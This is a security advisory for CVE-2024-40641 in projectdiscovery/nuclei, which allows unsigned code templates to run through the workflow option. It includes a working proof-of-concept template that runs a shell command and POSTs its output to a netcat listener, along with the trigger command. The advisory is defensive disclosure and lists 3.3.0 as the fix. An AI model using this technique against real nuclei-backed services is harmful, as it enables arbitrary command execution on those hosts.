Advisory

GHSA-c3q9-c27p-cw9h

Also known as: CVE-2024-40641, GO-2024-2989

Summary

projectdiscovery/nuclei allows unsigned code template execution through workflows

Details

Summary
Find a way to execute code template without -code option and signature.

Details
write a code.yaml:

id: code

info:
  name: example code template
  author: ovi3


code:
  - engine:
      - sh
      - bash
    source: |
      id

http:
  - raw:
      - |
        POST /re HTTP/1.1
        Host: {{Hostname}}

        {{code_response}}

workflows:
  - matchers:
    - name: t

using nc to listen on 80:

nc -lvvnp 80

execute PoC template with nuclei:

./nuclei -disable-update-check  -w code.yaml -u http://127.0.0.1 -vv -debug

and nc will get id command output.

We use -w to specify a workflow file, not -t to template file. and notice there is a workflows field in code.yaml to pretend to be a workflow file.

Test in Linux and Nuclei v3.2.9

Impact
Some web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web applications use -t to execute)

Severity

High Basis: The source's own band: HIGH

Dates

Published
2024-07-17 19:32 UTC
Modified
2024-08-20 14:57 UTC

Affected packages and fixes

github.com/projectdiscovery/nuclei/v3

Go · All systems

Affected

  • introduced 0, fixed 3.3.0 (semver)

Fixed versions

3.3.0

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences